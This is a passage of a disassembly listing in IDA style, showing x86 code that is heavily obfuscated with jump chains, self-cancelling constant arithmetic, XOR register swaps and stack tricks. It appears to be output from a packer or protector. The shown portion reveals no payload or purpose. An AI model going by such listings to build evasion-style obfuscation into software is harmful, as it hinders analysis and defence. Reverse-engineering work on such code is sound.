loc_59220F:				; CODE XREF: sdfs____:0058CC9Aj
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_58DB32
; ---------------------------------------------------------------------------


loc_59221B:				; CODE XREF: sdfs____:00595ABFj
		mov	esi, ebp
		jmp	loc_59114A
; ---------------------------------------------------------------------------


loc_592222:				; CODE XREF: sdfs____:0058C9E4j
		add	ebx, ecx
		jmp	loc_58FA3F
; ---------------------------------------------------------------------------


loc_592229:				; CODE XREF: sdfs____:00590245j
		not	edx
		xchg	edx, ebx
		jmp	loc_595CEF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59214E


loc_592232:				; CODE XREF: sub_59214E-4DD8j
		not	edx
		inc	edx
		jmp	loc_58F6AD
; END OF FUNCTION CHUNK	FOR sub_59214E
; ---------------------------------------------------------------------------


loc_59223A:				; CODE XREF: sdfs____:0058C146j
		push	ecx
		pushf
		jmp	loc_593AC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CDE6


loc_592241:				; CODE XREF: sub_58CDE6+B8DAj
		mov	edi, 6104E4Ah
		xor	edi, ebx
		pop	ebx
		jmp	loc_58D194
; END OF FUNCTION CHUNK	FOR sub_58CDE6
; ---------------------------------------------------------------------------


loc_59224E:				; CODE XREF: sdfs____:00597A07j
					; sdfs____:00597BE5j
		add	esp, 4
		push	edi
		mov	edi, 2F5518B9h
		and	edi, 7341709Ch
		jmp	loc_598B82
; ---------------------------------------------------------------------------


loc_592262:				; CODE XREF: sdfs____:loc_5949EEj
		sub	esp, 4
		jmp	loc_59702C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_59226D:				; CODE XREF: sub_5962EB-190Ej
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
		neg	word ptr [esp]
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596736


loc_59227C:				; CODE XREF: sub_596736-5FD8j
		mov	ebp, 57B652E1h
		xor	[esp+8+var_4], ebp
		push	[esp+8+var_8]
		pop	ebp
		push	eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp+10h+var_10], edi
		mov	edi, 4
		jmp	sub_598A21
; END OF FUNCTION CHUNK	FOR sub_596736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BC4E


loc_59229F:				; CODE XREF: sub_58BC4E+A09Cj
		push	1700h
		jmp	loc_595A2F
; END OF FUNCTION CHUNK	FOR sub_58BC4E
; ---------------------------------------------------------------------------


loc_5922A9:				; CODE XREF: sdfs____:00591138j
		xor	[esp+4], edx
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5969DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CDE6


loc_5922C4:				; CODE XREF: sub_58CDE6+7B67j
					; sdfs____:00597A8Ej
		pop	ecx
		sub	edx, edi
		jmp	loc_598C57
; END OF FUNCTION CHUNK	FOR sub_58CDE6
; ---------------------------------------------------------------------------


loc_5922CC:				; CODE XREF: sdfs____:005936EEj
					; sdfs____:00595EFFj
		mov	[esp], ebp
		jmp	loc_5906DE
; ---------------------------------------------------------------------------


loc_5922D4:				; CODE XREF: sdfs____:00597731j
					; sdfs____:005983CEj
		push	eax
		push	edx
		pop	eax
		pop	edx
		sub	eax, 33070D9Fh
		add	eax, 334F4DA5h
		add	ecx, 26F66AC8h
		add	ecx, eax
		sub	ecx, 26F66AC8h
		pop	eax
		jmp	loc_591832
; ---------------------------------------------------------------------------


loc_5922F6:				; CODE XREF: sdfs____:005932DDj
		push	esi
		jmp	loc_58D9FF
; ---------------------------------------------------------------------------


loc_5922FC:				; CODE XREF: sdfs____:00597B37j
		push	esi
		jmp	loc_5932B3
; ---------------------------------------------------------------------------


loc_592302:				; CODE XREF: sdfs____:00595E44j
		jmp	loc_58FFB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_592307:				; CODE XREF: sub_5917C0-17F7j
		add	eax, 4
		xchg	eax, [esp-4+arg_0]
		pop	esp
		jmp	loc_593595
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_592313:				; CODE XREF: sub_594228+409Fj
		dec	esi
		jl	loc_5961B0
		sub	esi, 0E8850BF0h
		mov	ecx, esi
		pop	esi
		mov	dh, 21h


loc_592326:				; CODE XREF: sub_591370+6237j
		mov	ebx, esp
		jmp	loc_58DAE1
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CDE6


loc_59232D:				; CODE XREF: sub_58CDE6+Bj
		sub	ebp, 1ACA1165h
		mov	ebx, [esp-4+arg_0]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_58F2E6
; END OF FUNCTION CHUNK	FOR sub_58CDE6
; ---------------------------------------------------------------------------


loc_592346:				; CODE XREF: sdfs____:0058EF80j
		mov	dh, ah
		pop	eax
		add	al, 7
		jmp	loc_5932FC
; ---------------------------------------------------------------------------


loc_592350:				; CODE XREF: sdfs____:00596721j
		jmp	loc_5985D3
; ---------------------------------------------------------------------------


loc_592355:				; CODE XREF: sdfs____:0058F5E2j
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		jmp	loc_595B90
; ---------------------------------------------------------------------------


loc_592369:				; CODE XREF: sdfs____:00597721j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 70FF23F0h
		add	ebp, 1
		shr	ebp, 5
		add	ebp, 347A7B97h
		push	0
		sub	[esp], ebp
		mov	ebp, [esp]
		add	esp, 4
		push	0
		jmp	loc_591170
; ---------------------------------------------------------------------------


loc_592398:				; CODE XREF: sdfs____:00590470j
					; sdfs____:00591163j
		not	esi
		jmp	loc_58E48B
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_59670A
; ---------------------------------------------------------------------------


loc_5923A8:				; CODE XREF: sdfs____:0058F415j
		shl	ecx, 4
		jmp	loc_58F547
; ---------------------------------------------------------------------------


loc_5923B0:				; CODE XREF: sdfs____:0058ECC1j
		jmp	loc_595E41
; ---------------------------------------------------------------------------


loc_5923B5:				; CODE XREF: sdfs____:00592CBFj
		mov	ecx, [esp]
		push	ecx
		jmp	loc_597FF7
; ---------------------------------------------------------------------------


loc_5923BE:				; CODE XREF: sdfs____:00590C3Fj
		add	ebp, 69735A2Fh
		pop	esi
		push	278Dh
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_598968
; ---------------------------------------------------------------------------


loc_5923DA:				; CODE XREF: sdfs____:00593DC5j
		add	esi, 8D8CC6CFh
		mov	ebx, esi
		pop	esi
		mov	edi, ebx
		pop	ebx
		sub	ebx, 51251F07h
		sub	ebx, edi
		add	ebx, 51251F07h
		pop	edi
		xor	ebx, 3ADA24ABh
		jmp	loc_598D2C
; ---------------------------------------------------------------------------


loc_592400:				; CODE XREF: sdfs____:005961ABj
		jnp	loc_5950F5
		jmp	loc_58FC72
; ---------------------------------------------------------------------------
		dec	cl
		not	cl
		push	ebx
		push	ecx
; START	OF FUNCTION CHUNK FOR sub_592853


loc_592411:				; CODE XREF: sub_592853+47AEj
		pop	ebp
		sub	ebx, 2AA76CFh
		add	ebx, ecx
		jmp	loc_58D360
; END OF FUNCTION CHUNK	FOR sub_592853
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_59241F:				; CODE XREF: sub_5962EB:loc_5936FFj
		or	edx, 73EA338Ch
		jns	loc_596894
		or	edx, 1B2355D6h
		jmp	loc_591F0F
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
		pop	eax
		mov	ah, 0B3h
		pop	esp


loc_59243A:				; CODE XREF: sdfs____:00596380j
		shl	edi, 7
		shl	edi, 2
		dec	edi
		and	edi, 17CA6FB5h
		sub	edi, 11CC2CB9h
		sub	eax, edi
		pop	edi
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	eax, ebx
		push	ecx
		mov	ecx, 48517C5Dh
		sub	eax, 16A32774h
		add	eax, ecx
		add	eax, 16A32774h
		jmp	loc_591C65
; ---------------------------------------------------------------------------


loc_59247C:				; CODE XREF: sdfs____:005924A8j
		pop	ebp
		sub	esi, 5AB2798Fh
		sub	esi, ecx
		add	esi, 5AB2798Fh
		jmp	loc_58F7F1
; ---------------------------------------------------------------------------


loc_592490:				; CODE XREF: sdfs____:005959E8j
		push	edi
		push	esp
		mov	edi, [esp]
		jmp	loc_58F48C
; ---------------------------------------------------------------------------


loc_59249A:				; CODE XREF: sdfs____:00590268j
		xor	ecx, 108C846Fh
		push	ebp
		mov	ebp, 0DAF76AEh
		sub	esi, ebp
		jmp	loc_59247C
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_58E408
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FE3C


loc_5924B5:				; CODE XREF: sub_58FE3C+89B2j
		push	4
		pop	edi
		add	ecx, 33D73FC9h
		add	ecx, edi
		push	esi
		push	ecx
		jmp	loc_58D203
; END OF FUNCTION CHUNK	FOR sub_58FE3C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_5924CA:				; CODE XREF: sub_591435-56E3j
		sub	edi, 547C01CAh
		add	edi, ecx
		push	ecx
		mov	ecx, 547C01CAh
		add	edi, ecx
		jmp	loc_58D0B6
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
		lodsb
		push	ebx
		jmp	loc_58DCC2
; ---------------------------------------------------------------------------


loc_5924E6:				; CODE XREF: sdfs____:00597A6Bj
		pop	edx
		jmp	loc_595F26
; ---------------------------------------------------------------------------


loc_5924EC:				; CODE XREF: sdfs____:00592D3Aj
		not	edi
		push	edi
		jmp	loc_5969F1
; ---------------------------------------------------------------------------


loc_5924F4:				; CODE XREF: sdfs____:00590C27j
					; sdfs____:00595C50j
		mov	esp, [esp]
		mov	[esp], edx
		mov	dl, 25h
		jmp	loc_58F0DE
; ---------------------------------------------------------------------------


loc_592501:				; CODE XREF: sdfs____:0058BA16j
		or	bl, 7Ah
		xor	bl, 0F1h
		inc	bl
		sub	bl, 0C5h
		jmp	loc_590F72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_592511:				; CODE XREF: sub_5962EB-4C67j
		pop	ecx
		add	esp, 4
		push	ebx
		mov	ebx, 24h
		jmp	loc_58F960
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_592523:				; CODE XREF: sub_591370-1995j
		mov	ebp, 46693E3Bh
		not	ebp
		jmp	loc_593B43
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_59252F:				; CODE XREF: sub_5962EB:loc_58C629j
		xor	ebp, 24FA7F09h
		jnz	loc_595214
		add	ebp, 8825B96h
		neg	ebp
		jmp	loc_591032
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------
		mov	dh, 0EFh
; START	OF FUNCTION CHUNK FOR sub_58FE99


loc_59254A:				; CODE XREF: sub_58FE99+Bj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+14h+var_14]
		jmp	loc_594BF5
; END OF FUNCTION CHUNK	FOR sub_58FE99
; ---------------------------------------------------------------------------


loc_59255C:				; CODE XREF: sdfs____:0058E5F7j
		mov	[esp], edx
		push	ebp
		jmp	loc_595BC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BC4E


loc_592565:				; CODE XREF: sub_58BC4E+6F32j
		or	eax, 17A75BF7h
		push	52CDh
		mov	[esp+8+var_8], ebx
		push	ebp
		jmp	loc_595CDF
; END OF FUNCTION CHUNK	FOR sub_58BC4E
; ---------------------------------------------------------------------------


loc_592578:				; CODE XREF: sdfs____:00597785j
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_5904BB
; ---------------------------------------------------------------------------


loc_592589:				; CODE XREF: sdfs____:00594D6Cj
		mov	edx, 5D881C38h
		xor	ecx, edx
		pop	edx
		or	ecx, 369737D0h
		shr	ecx, 7
		jmp	loc_59345D
; ---------------------------------------------------------------------------


loc_59259F:				; CODE XREF: sdfs____:0059436Dj
		shl	ebx, 1
		shr	ebx, 1
		push	ebp
		mov	ebp, 6B7973A1h
		not	ebp
		jmp	loc_58DB8D
; ---------------------------------------------------------------------------


loc_5925B0:				; CODE XREF: sdfs____:00590E17j
		mov	[esp], ecx
		push	679Bh
		mov	[esp], esi
		push	2EEE4E74h
		mov	esi, [esp]
		add	esp, 4
		push	0
		sub	[esp], esi
		pop	esi
		and	esi, 1F7B6088h
		jb	loc_591B26
		push	edi
		mov	edi, 3D333F76h
		jmp	loc_5931FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59369D


loc_5925E6:				; CODE XREF: sub_59369D+44D5j
		sub	edx, eax
		pop	eax
		add	ebp, edx
		pop	edx
		add	eax, 32B65472h
		add	eax, ebp
		push	ebx
		mov	ebx, 32B65472h
		add	eax, 44C94C13h
		sub	eax, ebx
		push	ecx
		push	44C94C13h
		jmp	loc_594D2D
; END OF FUNCTION CHUNK	FOR sub_59369D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_59260B:				; CODE XREF: sub_5985AE-A50Dj
		sub	edi, 4
		xchg	edi, [esp-8+arg_4]
		pop	esp
		mov	[esp-0Ch+arg_8], esi
		mov	esi, 33D01293h
		sub	[esp-0Ch+arg_C], 7B342E1Dh
		sub	[esp-0Ch+arg_C], 3F091B08h
		add	[esp-0Ch+arg_C], esi
		add	[esp-0Ch+arg_C], 3F091B08h
		push	ebp
		push	edi
		push	5A8F1274h
		pop	edi
		jmp	loc_58C84B
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_592646:				; CODE XREF: sub_5962EB+2267j
		add	esp, [edx+38h]
		push	ebx
		push	edi
		push	eax
		push	3B0A2673h
		pop	eax
		xor	eax, 0DAC1613h
		jmp	sub_5917C0
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------


loc_59265C:				; CODE XREF: sdfs____:00590532j
		push	esi
		mov	esi, 2521316Bh
		or	esi, 44210697h
		jmp	loc_59616C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_59266D:				; CODE XREF: sub_591370+D9j
		mov	edx, 69C54D65h
		sub	ebx, 77663FCEh
		sub	ebx, edx
		add	ebx, 77663FCEh
		pop	edx
		add	ebx, 4F0E5EE9h
		sub	ebx, 23B06384h
		sub	ebx, 3C247E97h
		add	ebx, eax
		push	edx
		mov	edx, 3C247E97h
		add	ebx, edx
		mov	edx, [esp-0Ch+arg_8]
		add	esp, 4
		add	ebx, 23B06384h
		sub	esp, 4
		mov	[esp-0Ch+arg_8], ebp
		mov	ebp, 4F0E5EE9h
		sub	ebx, ebp
		pop	ebp
		push	esi
		jmp	loc_597E67
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
		push	small word ptr [edx]
		jmp	loc_5916D0
; ---------------------------------------------------------------------------


loc_5926CB:				; CODE XREF: sdfs____:0058CBAEj
		sub	ebx, 26A2396h
		pop	edx
		push	edx
		mov	edx, 2
		add	ebx, 15A23DCCh
		add	ebx, edx
		jmp	loc_593A4F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_5926E5:				; CODE XREF: sub_591435+74BDj
		xor	[esp+0Ch+var_C], edi
		xor	edi, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], edi
		xchg	ebp, edi
		push	ebp
		not	[esp+10h+var_10]
		mov	ebp, [esp+10h+var_10]
		add	esp, 4
		xchg	ebp, edi
		xor	[esp+0Ch+var_C], edi
		xor	edi, [esp+0Ch+var_C]
		jmp	loc_58D610
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_592707:				; CODE XREF: sub_5987BC-54Ej
		add	esp, 4
		pop	ebp
		and	ecx, edx
		mov	edx, [esp+2+var_4+2]
		add	esp, 4
		jmp	loc_58CFC2
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_59271E:				; CODE XREF: sub_5985AE-8CC2j
		add	eax, ebx
		add	eax, 715936A8h
		jmp	loc_595C01
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------


loc_59272A:				; CODE XREF: sdfs____:0058DEE9j
		sub	edx, ecx
		add	edx, 6A764BC1h
		pop	ecx
		push	eax
		mov	eax, 50A431EDh
		neg	eax
		and	eax, 197806ECh
		jmp	loc_592813
; ---------------------------------------------------------------------------


loc_592745:				; CODE XREF: sdfs____:00598041j
		add	eax, 4D7A50ADh
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 78E14AF9h
		not	edx
		and	edx, 63F72B27h
		neg	edx
		or	edx, 1DCC2B84h
		add	edx, 2120006h
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		pop	esp
		push	7923h
		mov	[esp], ebp
		mov	ebp, 5DDA6A6Fh
		jmp	loc_591F59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_592793:				; CODE XREF: sub_59587A-1AF6j
		dec	ebp
		jnz	loc_5965B4
		shr	ebp, 3
		jnz	loc_597E85
		jp	loc_58C3FE


loc_5927A9:				; CODE XREF: sdfs____:00593CC7j
		mov	ebx, [esp+0]
		add	esp, 4
		jmp	loc_594A6A
; END OF FUNCTION CHUNK	FOR sub_59587A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59576E


loc_5927B7:				; CODE XREF: sub_59576E-6634j
		or	si, cx
		jmp	loc_58DF69
; END OF FUNCTION CHUNK	FOR sub_59576E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_5927BF:				; CODE XREF: sub_59587A+CA6j
		shl	edx, 4
		add	edx, 39F83CA8h
		jmp	loc_596B2A
; END OF FUNCTION CHUNK	FOR sub_59587A
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	esi
		push	2480h
		push	esp
		pop	dword ptr [esp]
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		jmp	loc_58D439
; ---------------------------------------------------------------------------


loc_5927EA:				; CODE XREF: sdfs____:00595C32j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		add	edx, 4
		sub	esp, 4
		jmp	loc_59418D
; ---------------------------------------------------------------------------


loc_592813:				; CODE XREF: sdfs____:00592740j
		add	eax, 2BF3647Ah
		sub	ecx, eax
		pop	eax
		sub	ecx, 5A4A7BF7h
		add	ecx, edx
		add	ecx, 5A4A7BF7h
		add	ecx, 354B6A7Ah
		jmp	loc_58E1B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_592834:				; CODE XREF: sub_5941BD-43DEj
		xor	ebx, ecx
		pop	ecx
		add	eax, ebx
		pop	ebx
		sub	eax, ebp
		sub	eax, 74593CE0h
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		sub	esp, 4
		mov	[esp+8+var_8], eax
		push	ecx
		jmp	loc_58FC72
; END OF FUNCTION CHUNK	FOR sub_5941BD

; =============== S U B	R O U T	I N E =======================================



sub_592853	proc near		; CODE XREF: sub_58E146-FB7j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058BFA6 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058BFBC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058D360 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00591759 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00592411 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00596FF6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059736F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005978E0 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00597AC9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00597D94 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0059866F SIZE 00000012 BYTES

		push	ebx
		mov	ebx, 4
		sub	ebp, ebx
		pop	ebx
		xor	ebp, [esp-4+arg_0]
		jmp	loc_58BFBC
sub_592853	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_592864:				; CODE XREF: sub_5962EB-44CAj
		pop	esi
		jmp	loc_595E10
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------


loc_59286A:				; CODE XREF: sdfs____:0059688Fj
		shr	cl, 8
		jz	loc_597C23
		jmp	loc_596869
; ---------------------------------------------------------------------------
		xchg	ecx, ebx
		jmp	loc_58D43F
; ---------------------------------------------------------------------------
		pop	edi


loc_592880:				; CODE XREF: sdfs____:0058C0BEj
		add	edx, ecx
		sub	edx, 3F564214h
		pop	ecx
		xchg	edx, [esp]
		mov	esp, [esp]
		mul	cx
		push	ebp
		mov	ebp, esp
		push	edi
		push	eax
		mov	eax, 4
		mov	edi, eax
		mov	eax, [esp]
		add	esp, 4
		add	ebp, edi
		pop	edi
		push	7B8Eh
		mov	[esp], edx
		mov	edx, 2
		sub	ebp, 460C4516h
		add	ebp, 1F3E34C4h
		sub	ebp, edx
		sub	ebp, 1F3E34C4h
		jmp	loc_5915D8
; ---------------------------------------------------------------------------


loc_5928CD:				; CODE XREF: sdfs____:0058E10Fj
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	loc_5982D9
; ---------------------------------------------------------------------------


loc_5928DB:				; CODE XREF: sdfs____:005967A6j
		jmp	loc_58CB78
; ---------------------------------------------------------------------------


loc_5928E0:				; CODE XREF: sdfs____:0058FC94j
		mov	[esp], ebp
		push	esi
		mov	esi, 770B7B79h
		add	esi, 88F4848Bh
		mov	ebp, esi
		jmp	loc_5955F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59377D


loc_5928F6:				; CODE XREF: sub_59377D-4138j
		add	esp, 4
		jmp	loc_5975CA
; END OF FUNCTION CHUNK	FOR sub_59377D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_5928FE:				; CODE XREF: sub_591435-11E0j
		add	ebp, 506C2058h
		xor	ebp, 2CC9357Dh
		mov	ecx, ebp
		pop	ebp
		jmp	sub_592D3F
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_592912:				; CODE XREF: sdfs____:0058E911j
		push	esp
		pop	edx
		jmp	loc_58E57F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_592919:				; CODE XREF: sub_59841F-7BADj
		add	al, 0F5h
		add	al, 58h
		push	ecx
		mov	ch, 9Ah
		sub	al, 0A7h
		sub	al, 22h
		sub	al, ch
		push	cx
		mov	ch, 22h
		add	al, ch
		pop	cx
		push	ebx
		mov	bh, 0D7h
		not	bh
		jmp	sub_591397
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_592938:				; CODE XREF: sub_5987BC-3203j
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp+6+var_8+2]
		add	esp, 4
		pop	[esp+2+var_4+2]
		xor	eax, edi
		xor	edi, eax
		xor	eax, edi
		push	edi
		push	eax
		pop	edi
		mov	eax, [esp+2+var_4+2]
		add	esp, 4
		not	eax
		jmp	loc_58CB72
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59214E


loc_59295F:				; CODE XREF: sub_59214E-4DF8j
		add	ecx, edx
		sub	ecx, 1A910223h
		pop	edx
		add	ecx, 2
		xchg	ecx, [esp+0]
		jmp	loc_58CDD9
; END OF FUNCTION CHUNK	FOR sub_59214E
; ---------------------------------------------------------------------------


loc_592976:				; CODE XREF: sdfs____:0058DFF3j
		push	ebx
		jmp	loc_592A64
; ---------------------------------------------------------------------------


loc_59297C:				; CODE XREF: sdfs____:00592112j
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		sub	esp, 4
		mov	[esp], ebp
		push	eax
		push	ebx
		mov	ebx, 11D92B80h
		mov	eax, 3DD4E007h
		add	eax, ebx
		mov	ebx, [esp]
		jmp	loc_592CA9
; ---------------------------------------------------------------------------


loc_59299D:				; CODE XREF: sdfs____:005911CDj
		add	esi, 4
		jmp	loc_598CC8
; ---------------------------------------------------------------------------


loc_5929A8:				; CODE XREF: sdfs____:0059631Bj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	esp, 4
		jmp	loc_590B81

; =============== S U B	R O U T	I N E =======================================



sub_5929B9	proc near		; CODE XREF: sub_591435+4A83j
		sub	esp, 4
		jmp	loc_59194A
sub_5929B9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_5929C1:				; CODE XREF: sub_5941BD-491Bj
		add	esp, 4
		or	ebx, 30946CC4h
		jmp	loc_5967D9
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_5929CF:				; CODE XREF: sub_59587A-1069j
		mov	[esp-6+arg_0+2], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp-6+arg_0+2]
		xor	[esp-6+arg_0+2], edi
		xor	edi, [esp-6+arg_0+2]
		pop	esp
		jmp	loc_59597F
; END OF FUNCTION CHUNK	FOR sub_59587A
; ---------------------------------------------------------------------------


loc_5929EC:				; CODE XREF: sdfs____:0059118Dj
		mov	edx, 4A9B2E6Dh
		sub	edx, 47932BF2h
		and	edx, 4CC111A0h
		xor	edx, 21267B6h
		push	ecx
		mov	ecx, 2C82175Ah
		xor	ecx, 0CA72965h
		neg	ecx
		push	1
		mov	[esp], edx
		mov	edx, 515A12D9h
		jmp	loc_58FF36
; ---------------------------------------------------------------------------


loc_592A23:				; CODE XREF: sdfs____:0058BFE5j
		mov	esi, eax
		mov	eax, [esp]
		add	esp, 4
		xor	eax, esi
		pop	esi
		push	ebx
		jmp	loc_593127
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_592A37:				; CODE XREF: sub_591370-1759j
		pop	esp
		push	edi
		push	eax
		mov	eax, 14892763h
		mov	edi, 0EB76D89Fh
		add	edi, eax
		jmp	loc_58D6E9
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_592A4B:				; CODE XREF: sub_594228:loc_591814j
		sub	ebp, 3597C875h
		mov	esi, ebp
		pop	ebp
		jmp	loc_597A49
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59377D


loc_592A59:				; CODE XREF: sub_59377D+1890j
					; sdfs____:0059860Ej
		add	esi, 1A1F583Ch
		jmp	loc_58F640
; END OF FUNCTION CHUNK	FOR sub_59377D
; ---------------------------------------------------------------------------


loc_592A64:				; CODE XREF: sdfs____:00592977j
		push	58172661h
		jmp	loc_58FE80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_592A6E:				; CODE XREF: sub_591435-11BEj
		mov	bl, dl
		mov	cl, bl
		jmp	loc_58FC37
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_592A77:				; CODE XREF: sub_594228+3940j
		pop	[esp+1Eh+var_20+2]
		mov	esp, [esp+1Ah+var_1C+2]
		and	eax, ebp
		jmp	loc_594CF0
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA0A


loc_592A84:				; CODE XREF: sub_58FA0A+35E5j
		xchg	ecx, [esp+4+var_4]
		pop	esp
; END OF FUNCTION CHUNK	FOR sub_58FA0A
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_592A88:				; CODE XREF: sub_592F43+988j
					; sub_5985AE-2EF9j
		push	dword ptr [edi+24h]
		push	[esp-8+arg_4]
		pop	ecx
		push	407Ch
		jmp	loc_59719A
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------


loc_592A99:				; CODE XREF: sdfs____:005901A6j
		push	cx
		mov	cl, bl
		not	cl
		mov	bl, cl
		pop	cx
		add	bl, 10h
		push	cx
		push	eax
		mov	al, bl
		mov	ch, al
		pop	eax
		dec	ch
		mov	bl, ch
		jmp	loc_595CBC
; ---------------------------------------------------------------------------


loc_592AB7:				; CODE XREF: sdfs____:005955CCj
